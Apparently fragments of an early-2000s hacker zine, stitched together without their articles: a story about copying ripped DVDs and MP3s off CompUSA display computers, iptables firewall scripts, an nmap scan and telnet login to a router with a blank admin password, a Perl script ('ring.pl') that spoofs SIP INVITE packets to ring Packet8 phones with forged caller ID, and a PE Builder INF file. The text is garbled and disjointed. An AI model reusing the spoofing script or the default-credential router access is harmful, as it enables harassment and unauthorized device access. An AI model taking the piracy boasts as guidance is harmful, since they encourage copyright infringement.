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 most of you know, CompUSA sucks. From their “latest-and-greatest” 
selection which usually spans the gamut of cheap or unwanted peripher-

als, to their puny software selection, to their abundantly overpriced and limited stock, 
CompUSA sucks. But iʼll say this about them: they have the most lax security policies 
of any retail computer chain that I have been to (take that however you want). One 
of the more interesting things about their lack of security is their mis-use of display 
computers to show off  cool features of new PCs.

   The fi rst example, that I found a few weeks/months ago, was some new 
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no DVD in the drive, or in nearby PCs. So after some Start->Find->Files And 
Folders-> *.vob, there they were: 3 DVDs ripped to
remember the titles off  the top of my head, but Iʼm
positive these big hollywood titles would have had CS
on the original DVDs. So someone had to rip these 
DVDs onto the hard drive. I wonder how Jack Valenti 
would feel about CompUSA breaking their infamous 
law (The Digital Millenium Copyright Act) in which 
it states one cannot circumvent copyright protection 
such as that on DVDs? Iʼm pretty sure Jack Valenti 
wouldnʼt give a damn. Heʼs only interested in hurting 
private citizens from what I can tell.

   Anyway, even if fair use did cover CompUSA or one of itʼs employees ripping a 
DVD onto a hard drive in the store, Iʼm pretty sure the fact that a person might come 
in and buy it makes fair use null and void. Or even if a person doesnʼt buy that one 
computer, itʼs still being used commercially to market a product (“This computer plays 
this ripped DVD very awesome-like! Let me get one of those PCʼs!”). Keep in mind I am 



not a lawyer so I have no idea of what I speak... but itʼd be interesting all the same to 
see a company like CompUSA get theirs fi nally.

   Another gem I found was over on a new iMac. I noticed it while walking 
around the Wireless cards (looking for something that was antenna-capable) 
when I heard it. Fatboy Slim coming in faintly from the Apple section. I traced 

the sound back to a cute little 17” iMac...running iTunes! I ran through their 
re was at least a gig of MP3ʼs on the 
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is detected, I fi nd the My Music folder, and copy about 4 albums worth onto the drive. 
When itʼs done I eject the drive and unplug it, then take it over to the Windows XP 
computer nearby with speakers... voila! Instant pirated CompUSA music! Of course I 
make sure and leave a few on each computer to ensure CompUSA always has a “backup 
copy”.

   The legalities surrounding the use 
of these MP3s should be quite clear 
to most people. It probably isnʼt 
illegal to pay for and download the 
songs from the iTunes store and put 
them on one computer if CompUSA 
the corporation bought the songs, but 
whatʼs the likelihood of that? In any 
case, I encourage everyone to NOT go 
out and exact revenge on CompUSA by 
getting a backpack with lots of space 
for 200GB USB v2.0 hard drives and 
copying CompUSAʼs DVDs and MP3s 
only to share them with friends and 
the Internet. That would be wrong. But 

boy
Zippers, or Weezer on a popular peer-to-peer network, keep in mind that it may not 
have come from where youʼd expect.





















# Starting Firewall Services
if [ -x /etc/rc.d/rc.fi rewall ]; then
. /etc/rc.d/rc.fi rewall start;
echo “Starting Firewall Services”
fi 



$IPTABLES -A OUTPUT -m multiport -p tcp -o $OURDEV -s $OURIP -d \ $ANYADDR --dport the port 
range: you need -j ACCEPT



#!/bin/bash
####################################################
# IPTABLES SCRIPT FOR A SERVER WRITTEN BY SLIPMODE #
####################################################

# Copyright (c) 2003 Slipmode.
# Permission is granted to copy, distribute and/or modify this document
# under the terms of the GNU Free Documentation License, Version 1.2
# or any later version published by the Free Software Foundation;
# with no Invariant Sections, no Front-Cover Texts, and no Back-Cover
# Texts. A copy of the license can be found at 
http://www.gnu.org/copyleft/fdl.html.

# USER CONFIGURATION SECTION

# The name of iptables.
IPTABLES=iptables

start() {

 # Load module for iptables support
 /sbin/modprobe ip_tables

 # Load modules for connection tracking support
 /sbin/modprobe ip_conntrack
 /sbin/modprobe ip_conntrack_ftp

 # Our network address space and device.
 OURIP=”192.168.1.10”
 OURDEV=”eth0”

 # The outside address.
 ANYADDR=”0/0”

 # The TCP services we wish to pass.
 TCPIN=”ftp,smtp,http”
 TCPOUT=”smtp,http”

 # The UDP services we wish to pass.
 UDPIN=”domain”
 UDPOUT=”domain,ntp”

 # The ICMP services we wish to allow to pass.
 # ICMP settings are not set here. This is a reference that
 # should tell what ICMP numbers are used in this fi rewall.
 # ref: /usr/include/netinet/ip_icmp.h for type numbers
 #ICMPIN=”0,3,11”
 #ICMPOUT=”3,8,11”

 # The hosts that are allowed to access sshd. Use TCP Wrappers to restrict sshd as well.
 SSHIN=”192.168.1.11”
 SSHOUT=”192.168.1.11”

        # We will prevent illegal addresses.
        CLASS_A=”10.0.0.0/8”                    # Class-A Private (RFC-1918) Networks
        CLASS_B=”172.16.0.0/12”                 # Class-B Private (RFC-1918) Networks
        CLASS_C=”192.168.0.0/16”                # Class-C Private (RFC-1918) Networks
        CLASS_D_MULTICAST=”224.0.0.0/4”         # Class-D Multicast Addresses
        CLASS_E_RESERVED_NET=”240.0.0.0/5”      # Class-E Reserved Addresses
        LOOPBACK_NETWORK=”127.0.0.0/8”          # Reserved Loopback Address Range
        BROADCAST_SRC=”0.0.0.0”                 # Broadcast Source Address
        BROADCAST_DEST=”255.255.255.255”        # Broadcast Destination Address

 # Logging; uncomment the following line to enable logging of datagrams
 # that are blocked by the fi rewall.
 # LOGGING=1

 # END USER CONFIGURATION SECTION
 #############################################################
 echo “Starting Firewall Services”

 # Turn off IP Forwarding
        echo 0 >/proc/sys/net/ipv4/ip_forward

        # Turn off dynamic IP hacking
        echo “0” > /proc/sys/net/ipv4/ip_dynaddr



        # Enable broadcast echo Protection
        echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

        # Disable Source Routed Packets
        for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
           echo 0 > $f
        done

        # Enable TCP SYN Cookie Protection
        echo 1 > /proc/sys/net/ipv4/tcp_syncookies

        # Disable ICMP Redirect Acceptance
        for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do
           echo 0 > $f
        done

        # Donʼt send Redirect Messages
        for f in /proc/sys/net/ipv4/conf/*/send_redirects; do
           echo 0 > $f
        done

        # Disable ICMP Redirect Acceptance
        for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do
            echo 0 > $f
        done

        # Drop Spoofed Packets coming in on an interface, which if replied to,
        # would result in the reply going out a different interface.
        for f in /proc/sys/net/ipv4/conf/*/rp_fi lter; do
           echo 1 > $f
        done

        # Log packets with impossible addresses.
        for f in /proc/sys/net/ipv4/conf/*/log_martians; do
           echo 1 > $f
        done

        # Disable Source Routed Packets
        for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
            echo 0 > $f
        done

# Flush all the tables.
$IPTABLES -F

# Drop all datagrams destined for this host recieved from the outside.
$IPTABLES -P INPUT DROP

# Drop all outgoing datagrams by default.
$IPTABLES -P OUTPUT DROP

# Drop all routed datagrams by default.
$IPTABLES -P FORWARD DROP

# Enable loopback
$IPTABLES -A INPUT -i lo -j ACCEPT

# Enable loopback output
$IPTABLES -A OUTPUT -o lo -j ACCEPT

# SPOOFING
# We will not accept any datagrams with a source address matching ours
# from the outside.
$IPTABLES -A INPUT -s $OURIP -i $OURDEV -d $OURIP -j DROP

# Refuse packets claiming to be to or from a Class-A private network.
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_A -j DROP

        # Refuse packets claiming to be to or from a Class-B private network.
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_B -j DROP

        # Refuse packets claiming to be to or from a Class-C private network.
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_C -j DROP

        # Refuse Class-D Multicast addresses. (Illegal as source address)
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_D_MULTICAST -j DROP



# Refuse Class-E reserved IP addresses.
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_E_RESERVED_NET -j DROP

        # Refuse packets claiming to be from the loopback.
        $IPTABLES -A INPUT -i $OURDEV -s $LOOPBACK_NETWORK -j DROP

        # Refuse malformed broadcast packets.
        $IPTABLES -A INPUT -i $OURDEV -s $BROADCAST_SRC -j DROP
        $IPTABLES -A INPUT -i $OURDEV -s $BROADCAST_DEST  -j DROP

# We need to accept fragments, in iptables we must do this explicitly.
$IPTABLES -A INPUT -f -j ACCEPT

# TCP - INCOMING CONNECTIONS
# We will accept TCP SYN requests from the outside world only on the
# allowed TCP ports.
$IPTABLES -A INPUT -m multiport -p tcp -i $OURDEV -d $OURIP --dports $TCPIN --syn -j ACCEPT

# TCP - OUTGOING CONNECTIONS
# We will accept all outgoing TCP SYN requests on the allowed
# TCP ports.
$IPTABLES -A OUTPUT -m multiport -p tcp -o $OURDEV -s $OURIP -d $ANYADDR --dports $TCPOUT

--syn -j ACCEPT

# TCP
# We will accept all TCP datagrams belonging to an existing connection
# (i.e having the ACK bit set) for the TCP ports weʼre allowing through.
# This should catch more than 95 % of all valid TCP packets.
$IPTABLES -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# TCP - SSHD INCOMING CONNECTIONS
# Allow access to sshd from the allowed hosts.
$IPTABLES -A INPUT -p tcp -i $OURDEV -d $OURIP -s $SSHIN --dport ssh -j ACCEPT

# TCP - SSHD OUTGOING CONNECTIONS
# Allow outgoing connections to sshd from the allowed hosts.
$IPTABLES -A OUTPUT -p tcp -o $OURDEV -s $OURIP -d $SSHOUT --dport ssh -j ACCEPT

# UDP - INCOMING
# We will allow UDP datagrams in on the allowed ports.
$IPTABLES -A INPUT -m multiport -p udp -i $OURDEV -d $OURIP --dports $UDPIN -j ACCEPT

# UDP - OUTGOING
# We will allow UDP datagrams out on the allowed ports.
$IPTABLES -A OUTPUT -m multiport -p udp -o $OURDEV -s $OURIP -d $ANYADDR 

--dports $UDPOUT -j ACCEPT

# ICMP - INCOMING
# We will allow ICMP datagrams in from the allowed types.
$IPTABLES -A INPUT -p icmp -i $OURDEV -d $OURIP --icmp-type 0 -j ACCEPT

$IPTABLES -A INPUT -p icmp -i $OURDEV -d $OURIP --icmp-type 3 -j ACCEPT

$IPTABLES -A INPUT -p icmp -i $OURDEV -d $OURIP --icmp-type 11 -j ACCEPT

# ICMP - OUTGOING
# We will allow ICMP datagrams out from the allowed types.
$IPTABLES -A OUTPUT -p icmp -o $OURDEV -s $OURIP -d $ANYADDR --icmp-type 3 -j ACCEPT

$IPTABLES -A OUTPUT -p icmp -o $OURDEV -s $OURIP -d $ANYADDR --icmp-type 8 -j ACCEPT

$IPTABLES -A OUTPUT -p icmp -o $OURDEV -s $OURIP -d $ANYADDR --icmp-type 11 -j ACCEPT

# DEFAULT and LOGGING
# All remaining datagrams fall through to the default



# rule and will be dropped. They will be logged if youʼve
# confi gured the LOGGING variable above.
#

if [ “$LOGGING” ]
then

# Log barred TCP
$IPTABLES -A INPUT -p tcp -j LOG --log-prefi x “Filtered Incoming TCP: ”
$IPTABLES -A OUTPUT -p tcp -j LOG --log-prefi x “Filtered Outgoing TCP: ”

# Log barred UDP
$IPTABLES -A INPUT -p udp -j LOG --log-prefi x “Filtered Incoming UDP: ”
$IPTABLES -A OUTPUT -p udp -j LOG --log-prefi x “Filtered Outgoing UDP: ”

# Log barred ICMP
$IPTABLES -A INPUT -p icmp -j LOG --log-prefi x “Filtered Incoming ICMP: ”
$IPTABLES -A OUTPUT -p icmp -j LOG --log-prefi x “Filtered Outgoing ICMP: ”

fi 

        echo “Firewall started and confi gured”
        touch /var/lock/subsys/fi rewall
}

status() {
        if [ -f /var/lock/subsys/fi rewall ]; then
            echo “Firewall started and confi gured”
        else
            echo “Firewall stopped”
        fi 
}

stop() {
        echo “Shutting down Firewall Services”

# Flush all the tables.
        $IPTABLES -F

# Accept all datagrams destined for this host recieved from the outside.
        $IPTABLES -P INPUT ACCEPT

# Accept all outgoing datagrams by default.
        $IPTABLES -P OUTPUT ACCEPT

# Accept all routed datagrams by default.
        $IPTABLES -P FORWARD ACCEPT

rm -f /var/lock/subsys/fi rewall
}

restart() {
        stop
        start
}

case “$1” in
  start)
        start
        ;;
  stop)
        stop
        ;;
  status)
        status
        ;;
  restart)
        restart
        ;;
  *)
        echo $”Usage: $0 {start|stop|status|restart}”
        exit 1
esac

exit $?



#!/bin/bash
#########################################################
# IPTABLES SCRIPT FOR A WORKSTATION WRITTEN BY SLIPMODE #
#########################################################

# Copyright (c) 2003 Slipmode.
# Permission is granted to copy, distribute and/or modify this document
# under the terms of the GNU Free Documentation License, Version 1.2
# or any later version published by the Free Software Foundation;
# with no Invariant Sections, no Front-Cover Texts, and no Back-Cover
# Texts. A copy of the license can be found at 
http://www.gnu.org/copyleft/fdl.html.

# USER CONFIGURATION SECTION

# The name of iptables.
IPTABLES=iptables

start() {

 # Load module for iptables support
 /sbin/modprobe ip_tables

 # Load modules for connection tracking support
 /sbin/modprobe ip_conntrack
 /sbin/modprobe ip_conntrack_ftp
 /sbin/modprobe ip_conntrack_irc

 # Our network address space and device.
 OURIP=”192.168.1.10”
 OURDEV=”eth0”

 # The outside address.
 ANYADDR=”0/0”

 # The TCP services we wish to pass.
 #TCPIN=””
 TCPOUT=”telnet,ftp,ssh,smtp,pop3,http,https,nntp,ircd”

 # The UDP services we wish to pass.
 UDPIN=”domain”
 UDPOUT=”domain,ntp”

 # The ICMP services we wish to allow to pass.
 # ICMP settings are not set here. This is a reference that
 # should tell what ICMP numbers are used in this firewall.
 # ref: /usr/include/netinet/ip_icmp.h for type numbers
 #ICMPIN=”0,3,11”
 #ICMPOUT=”3,8,11”

 # The hosts that are allowed to access sshd.
 #SSHIN=””
 #SSHOUT=””

        # We will prevent illegal addresses.
        CLASS_A=”10.0.0.0/8”                    # Class-A Private (RFC-1918) Networks
        CLASS_B=”172.16.0.0/12”                 # Class-B Private (RFC-1918) Networks
        CLASS_C=”192.168.0.0/16”                # Class-C Private (RFC-1918) Networks
        CLASS_D_MULTICAST=”224.0.0.0/4”         # Class-D Multicast Addresses
        CLASS_E_RESERVED_NET=”240.0.0.0/5”      # Class-E Reserved Addresses
        LOOPBACK_NETWORK=”127.0.0.0/8”          # Reserved Loopback Address Range
        BROADCAST_SRC=”0.0.0.0”                 # Broadcast Source Address
        BROADCAST_DEST=”255.255.255.255”        # Broadcast Destination Address

 # Logging; uncomment the following line to enable logging of datagrams



 # that are blocked by the firewall.
 # LOGGING=1

 # END USER CONFIGURATION SECTION
 #############################################################
 echo “Starting Firewall Services”

 # Turn off IP Forwarding
        echo 0 >/proc/sys/net/ipv4/ip_forward

        # Turn off dynamic IP hacking
        echo “0” > /proc/sys/net/ipv4/ip_dynaddr

        # Enable broadcast echo Protection
        echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

        # Disable Source Routed Packets
        for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
           echo 0 > $f
        done

        # Enable TCP SYN Cookie Protection
        echo 1 > /proc/sys/net/ipv4/tcp_syncookies

        # Disable ICMP Redirect Acceptance
        for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do
           echo 0 > $f
        done

        # Donʼt send Redirect Messages
        for f in /proc/sys/net/ipv4/conf/*/send_redirects; do
           echo 0 > $f
        done

        # Disable ICMP Redirect Acceptance
        for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do
            echo 0 > $f
        done

        # Drop Spoofed Packets coming in on an interface, which if replied to,
        # would result in the reply going out a different interface.
        for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
           echo 1 > $f
        done

        # Log packets with impossible addresses.
        for f in /proc/sys/net/ipv4/conf/*/log_martians; do
           echo 1 > $f
        done

        # Disable Source Routed Packets
        for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
            echo 0 > $f
        done

 # Flush all the tables.
 $IPTABLES -F

 # Drop all datagrams destined for this host recieved from the outside.
 $IPTABLES -P INPUT DROP

 # Drop all outgoing datagrams by default.
 $IPTABLES -P OUTPUT DROP

 # Drop all routed datagrams by default.
 $IPTABLES -P FORWARD DROP



 # Enable loopback input
 $IPTABLES -A INPUT -i lo -j ACCEPT

 # Enable loopback output
 $IPTABLES -A OUTPUT -o lo -j ACCEPT

 # SPOOFING
 # We will not accept any datagrams with a source address matching ours
 # from the outside.
 $IPTABLES -A INPUT -s $OURIP -i $OURDEV -d $OURIP -j DROP

        # Refuse packets claiming to be to or from a Class-A private network.
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_A -j DROP

        # Refuse packets claiming to be to or from a Class-B private network.
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_B -j DROP

        # Refuse packets claiming to be to or from a Class-C private network.
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_C -j DROP

        # Refuse Class-D Multicast addresses. (Illegal as source address)
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_D_MULTICAST -j DROP

        # Refuse Class-E reserved IP addresses.
        $IPTABLES -A INPUT -i $OURDEV -s $CLASS_E_RESERVED_NET -j DROP

        # Refuse packets claiming to be from the loopback.
        $IPTABLES -A INPUT -i $OURDEV -s $LOOPBACK_NETWORK -j DROP

        # Refuse malformed broadcast packets.
        $IPTABLES -A INPUT -i $OURDEV -s $BROADCAST_SRC -j DROP
        $IPTABLES -A INPUT -i $OURDEV -s $BROADCAST_DEST  -j DROP

 # We need to accept fragments, in iptables we must do this explicitly.
 $IPTABLES -A INPUT -f -j ACCEPT

 # TCP - INCOMING CONNECTIONS
 # We will accept TCP SYN requests from the outside world only on the
 # allowed TCP ports.
 #$IPTABLES -A INPUT -m multiport -p tcp -i $OURDEV -d $OURIP --dports $TCPIN 
--syn -j ACCEPT

 # TCP - OUTGOING CONNECTIONS
 # We will accept all outgoing TCP SYN requests on the allowed
 # TCP ports.
 $IPTABLES -A OUTPUT -m multiport -p tcp -o $OURDEV -s $OURIP -d $ANYADDR 
--dports $TCPOUT --syn -j ACCEPT

 # TCP
 # We will accept all TCP datagrams belonging to an existing connection
 # (i.e having the ACK bit set) for the TCP ports weʼre allowing through.
 # This should catch more than 95 % of all valid TCP packets.
 $IPTABLES -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

 $IPTABLES -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

 # This will help us recieve DCC in IRC. This is evil and I strongly 
          # recommend not using this since you have to open such a large range. I would stop       
          # the firewall shortly to accept a trusted request or use email.
 # $IPTABLES -A OUTPUT -p tcp -o $OURDEV -s $OURIP --syn --dport 1024:65535 
-j ACCEPT

 # TCP - SSHD INCOMING CONNECTIONS
 # Allow access to sshd from the allowed hosts.
 #$IPTABLES -A INPUT -p tcp -i $OURDEV -d $OURIP -s $SSHIN --dport ssh -j ACCEPT

 # TCP - SSHD OUTGOING CONNECTIONS
 # Allow outgoing connections to sshd from the allowed hosts.
 #$IPTABLES -A OUTPUT -p tcp -o $OURDEV -s $OURIP -d $SSHOUT --dport ssh -j ACCEPT



 # UDP - INCOMING
 # We will allow UDP datagrams in on the allowed ports.
 $IPTABLES -A INPUT -m multiport -p udp -i $OURDEV -d $OURIP --dports $UDPIN 
-j ACCEPT

 # UDP - OUTGOING
 # We will allow UDP datagrams out on the allowed ports.
 $IPTABLES -A OUTPUT -m multiport -p udp -o $OURDEV -s $OURIP -d $ANYADDR 
--dports $UDPOUT -j ACCEPT

 # UDP for Quake3 (Example for adding gaming support, 27960:27999 specifies
 # a range of ports to open)
 #$IPTABLES -A OUTPUT -p udp -o $OURDEV -s $OURIP -d $ANYADDR --dport 
27960:27999 -j ACCEPT

 # ICMP - INCOMING
 # We will allow ICMP datagrams in from the allowed types.
 $IPTABLES -A INPUT -p icmp -i $OURDEV -d $OURIP --icmp-type 0 -j ACCEPT

 $IPTABLES -A INPUT -p icmp -i $OURDEV -d $OURIP --icmp-type 3 -j ACCEPT

 $IPTABLES -A INPUT -p icmp -i $OURDEV -d $OURIP --icmp-type 11 -j ACCEPT

 # ICMP - OUTGOING
 # We will allow ICMP datagrams out from the allowed types.
 $IPTABLES -A OUTPUT -p icmp -o $OURDEV -s $OURIP -d $ANYADDR --icmp-type 3 -j ACCEPT

 $IPTABLES -A OUTPUT -p icmp -o $OURDEV -s $OURIP -d $ANYADDR --icmp-type 8 -j ACCEPT

 $IPTABLES -A OUTPUT -p icmp -o $OURDEV -s $OURIP -d $ANYADDR --icmp-type 11 -j ACCEPT

 # DEFAULT and LOGGING
 # All remaining datagrams fall through to the default
 # rule and will be dropped. They will be logged if youʼve
 # configured the LOGGING variable above.
 #
 if [ “$LOGGING” ]
 then
 # Log barred TCP
        $IPTABLES -A INPUT -p tcp -j LOG --log-prefix “Filtered Incoming TCP:” 
        $IPTABLES -A OUTPUT -p tcp -j LOG --log-prefix “Filtered Outgoing TCP: ” 

        # Log barred UDP
        $IPTABLES -A INPUT -p udp -j LOG --log-prefix “Filtered Incoming UDP: ”
        $IPTABLES -A OUTPUT -p udp -j LOG --log-prefix “Filtered Outgoing UDP: ”

        # Log barred ICMP
        $IPTABLES -A INPUT -p icmp -j LOG --log-prefix “Filtered Incoming ICMP: ”
        $IPTABLES -A OUTPUT -p icmp -j LOG --log-prefix “Filtered Outgoing ICMP: ”

 fi

 echo “Firewall started and configured”
        touch /var/lock/subsys/firewall



}

status() {
        if [ -f /var/lock/subsys/firewall ]; then
            echo “Firewall started and configured”
        else
            echo “Firewall stopped”
        fi
}

stop() {
        echo “Shutting down Firewall Services”

 # Flush all the tables.
        $IPTABLES -F

 # Accept all datagrams destined for this host recieved from the outside.
        $IPTABLES -P INPUT ACCEPT

 # Accept all outgoing datagrams by default.
        $IPTABLES -P OUTPUT ACCEPT

 # Accept all routed datagrams by default.
        $IPTABLES -P FORWARD ACCEPT

 rm -f /var/lock/subsys/firewall
}

restart() {
        stop
        start
}

case “$1” in
  start)
        start
        ;;
  stop)
        stop
        ;;
  status)
        status
        ;;
  restart)
        restart
        ;;
  *)
        echo $”Usage: $0 {start|stop|status|restart}”
 exit 1
esac

exit $?



eth0      Link encap:Ethernet  HWaddr 00:02:2D:XX:XX:XX
          inet addr:192.168.254.42 Bcast:192.168.254.255 Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:24 errors:0 dropped:0 overruns:0 frame:0
          TX packets:34 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:7139 (6.9 Kb)  TX bytes:6570 (6.4 Kb)
          Interrupt:3 Base address:0x100

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:784 (784.0 b)  TX bytes:784 (784.0 b)

# nmap -sS -O 192.168.254.* | tee nmap.txt

(The 1655 ports scanned but not shown below are in state: closed)
PORT   STATE SERVICE
23/tcp open  telnet
80/tcp open  http
Device type: broadband router
Running: FlowPoint embedded, ASCOM embedded, SpeedStream embedded
OS details: FlowPoint/2000 - 2200 SDSL Router (v1.2.3 - 3.0.4) or ASCOM
Timeplex Access Router, DSL Router: Flowpoint 144/22XX v3.0.8 or
SpeedStream 5851 v4.0.5.1

White Hat
i-Fi



$ telnet 192.168.254.254
Trying 192.168.254.254...
Connected to 192.168.254.254.
Escape character is ʻ^]ʼ.

Effi cient 5871 IDSL Router (5871-001/2) v5.3.80 Ready
Login:

Login: admin
Logged in successfully!
# help
Top-level commands:
?                   arp                bi
call                copy               date
delete              dhcp               dir
erase               eth                execute
exit                fi lter              format
frame               help               idsl
ifs                 ike                ipifs
iproutes            ipsec              ipxroutes
ipxsaps             key                l2tp
logout              mem                msfs
ping                portscan           pppoe
ps                  reboot             remote
rename              save               sync
system              tcp                time
traceroute          version
# exit
C o n n e c t i o n closed by foreign host.



$ telnet 192.168.254.254
Trying 192.168.254.254...
Connected to 192.168.254.254.
Escape character is ʻ^]ʼ.

Effi cient 5871 IDSL Router (5871-001/2) v5.3.80 Ready
Login: *****
Wrong password!   Try logging in again.
Login:









PERL CORNER

VoIP  





#!/usr/bin/perl -w

# ring.pl
# by ntheory
#
# This script will send a packet to a Packet8 IP phone box causing it to ring and  
# display any caller ID number that you would like.  Numbers can be between 
# 1 and 11 digits long.  Spoofing “666” is always good fun.
# July 12th, 2003 - Started development.  Evaluated “Billy The Kid” 
# and several  other modules.  Settled on Net::RawIP because it actually had 
# some documentation and didnʼt spit out random hash errors that made no
# sense whatsoever.
 
use Net::RawIP;
use POSIX qw(strftime);

$SourceIP       = shift;
$DestIP         = shift;
$CallerIDNumber = shift;

if (($#ARGV != -1) || (!defined ($CallerIDNumber))) {
  print “You didnʼt enter the correct number of arguments.\n”;
  print “try: ring.pl SourceIP DestIP CallerIDNumber\n”;
  print “\n”;
  exit;
}

# All of these fields are apparently unimportant.
$RemotePhoneNumber = “00000000000”;
$RemoteAccount     = “00000000000”;
$CallerIDDate      = “”;
$CallerIDTime      = “”;
$TimeStamp         = 0;
$ContentLength     = 75;

# Ok, this one is important.
$Port              = 5060;

# End-of-Line is CR/LF.
$EOL = chr (0x0D) . chr (0x0A);



# Build the packet (reverse engineered from Ethereal dump).
$UDPData  = “INVITE sip:$RemoteAccount@” . “$DestIP SIP/2.0” . $EOL;
$UDPData .= “Via: SIP/2.0/UDP 
$SourceIP:$Port;branch=00000000000000000000000000000000, SIP/2.0/UDP 
$SourceIP:$Port;branch=00000000-00000000-00000000-00000000-0, SIP/2.0/
UDP 
$SourceIP:$Port” . $EOL;
$UDPData .= “From: <sip:$CallerIDNumber@” . “$SourceIP>;tag=00000000-
0000” . $EOL;
$UDPData .= “To: <sip:144#$RemotePhoneNumber@” . 
“inb-sipproxy.ipcs.genuity.com;user=phone>” . $EOL;
$UDPData .= “Call-ID: 00000000-00000000-00000000-00000000@” . “$SourceIP” 
. 
$EOL;
$UDPData .= “CSeq: 101 INVITE” . $EOL;
$UDPData .= “Max-Forwards: 4” . $EOL;
$UDPData .= “Contact: <sip:$CallerIDNumber@” . “$SourceIP:
$Port;user=phone>” 
. $EOL;
$UDPData .= “Content-Type: application/sdp” . $EOL;
$UDPData .= “Date: $CallerIDDate $CallerIDTime GMT” . $EOL;
$UDPData .= “Expires: 180” . $EOL;
$UDPData .= “Record-Route: <sip:$SourceIP:$Port;lr>, 
<sip:144#$RemotePhoneNumber@” . 
“inb-sipproxy.ipcs.genuity.com:$Port;user=phone;maddr=$SourceIP>” . 
$EOL;
$UDPData .= “Timestamp: $TimeStamp” . $EOL;
$UDPData .= “User-Agent: Cisco-SIPGateway/IOS-12.x” . $EOL;
$UDPData .= “Content-Length: $ContentLength” . $EOL;
$UDPData .= “Cisco-Guid: 0000000000-0000000000-0000000000-0000000000” . 
$EOL;
$UDPData .= $EOL;
$UDPData .= “v=0” . $EOL;
$UDPData .= “o=CiscoSystemsSIP-GW-UserAgent 7899 1104 IN IP4 $SourceIP” 
. 
$EOL;
$UDPData .= “s=SIP Call” . $EOL;
$UDPData .= “c=IN IP4 $SourceIP” . $EOL;
$UDPData .= “t=0 0” . $EOL;
$UDPData .= “m=audio 19216 RTP/AVP 4” . $EOL;

# Create the packet.
$Packet = new Net::RawIP ({ip  => {daddr => $DestIP},
                           udp => {source => $Port, dest => $Port, data 
=> 
$UDPData}});

# Annnnnnnnnnnnd, theyʼre off!
$Packet->send;



T







; PE Builder v3 plug-in INF fi le
; http://www.nu2.nu/pebuilder/

;NIC inf fi le for PE builder by Jin-rai

[VERSION]
Signature= “$Windows NT$”

[PEBuilder]
Name=”NIC: Intel E1000 Gx260/270”
Enable=1

[SourceDisksFiles]
; copy the following fi les from your driver disk to this 
; folder
; Folder numbers are @ 
; http://www.911cd.net/forumsindex.php?showtopic=1632

;system32
intelnic.dll=2,,1
net8254x.din=2,,1
Prounstl.exe=2,,1

;system32\drivers
e1000nt5.sys=4,,1

;inf
net8254x.inf=20,,1
E1000.cat=20,,1



1  = “\”
2  = system32
3  = system32\confi g
4  = system32\drivers
5  = system
7  = system32\ras
9  = system32\spool
10 = system32\spool\drivers
11 = system32\spool\drivers\w32x86\3
12 = system32\spool\prtprocs
13 = system32\spool\prtprocs\w32x86
14 = system32\wins
15 = system32\dhcp
16 = repair
17 = system32\drivers\etc
18 = system32\spool\drivers\w32x86
19 = system32\drivers\disdn
20 = inf
21 = Help
22 = Fonts
23 = Confi g
24 = msagent\intl
25 = Cursors
26 = Media
27 = java
28 = java\classes
29 = java\trustlib
30 = system32\ShellExt
31 = Web
32 = system32\Setup
33 = Web\printers
34 = system32\spool\drivers\color
35 = system32\wbem
36 = system32\wbem\Repository
37 = addins
38 = “Connection Wizard”
39 = “Driver Cache\i386”
40 = security
41 = security\templates
42 = system32\npp
43 = system32\ias
44 = system32\dllcache
45 = Temp
46 = Web\printers\images
47 = system32\export
48 = system32\wbem\mof\good
49 = system32\wbem\mof\bad
50 = twain_32
51 = msapps\msinfo
52 = msagent

53 = msagent\chars
54 = security\logs
55 = system32\icsxml
57 = system32\mui
58 = %MUI_PRIMARY_LANG_ID_DIR%
59 = system32\mui\dispspec
60 = AppPatch
61 = Debug
62 = Debug\UserMode
63 = system32\oobe
67 = Help\Tours
68 = Resources\Themes\Luna
69 = Resources\Themes\Luna\Shell\NormalColor
70 = system32\oobe\html\ispsgnup
71 = system32\oobe\html\mouse
72 = system32\oobe\html\oemcust
73 = system32\oobe\html\oemhw
74 = system32\oobe\html\oemreg
75 = system32\oobe\images
76 = system32\oobe\setup
77 = system32\oobe\sample
78 = Resources\Themes\Luna\Shell\Metallic
79 = Resources\Themes\Luna\Shell\Homestead
91 = Help\Tours\mmTour
92 = Help\Tours\htmlTour
100 = system32\1025
101 = system32\1028
102 = system32\1031
103 = system32\1033
104 = system32\1037
105 = system32\1041
106 = system32\1042
107 = system32\1054
108 = system32\2052
109 = system32\3076
110 = system32\wbem\xml
111 = system32\usmt
112 = system32\inetsrv
123 = mui
124 = WinSxS
125 = WinSxS\Manifests
126 = WinSxS\InstallTemp
127 = ime
129 = Resources\Themes
130 = ime
132 = ime\imejp
133 = System32\IME\PINTLGNT
134 = System32\IME\CINTLGNT
135 = System32\IME\TINTLGNT
136 = IME\CHTIME\Applets
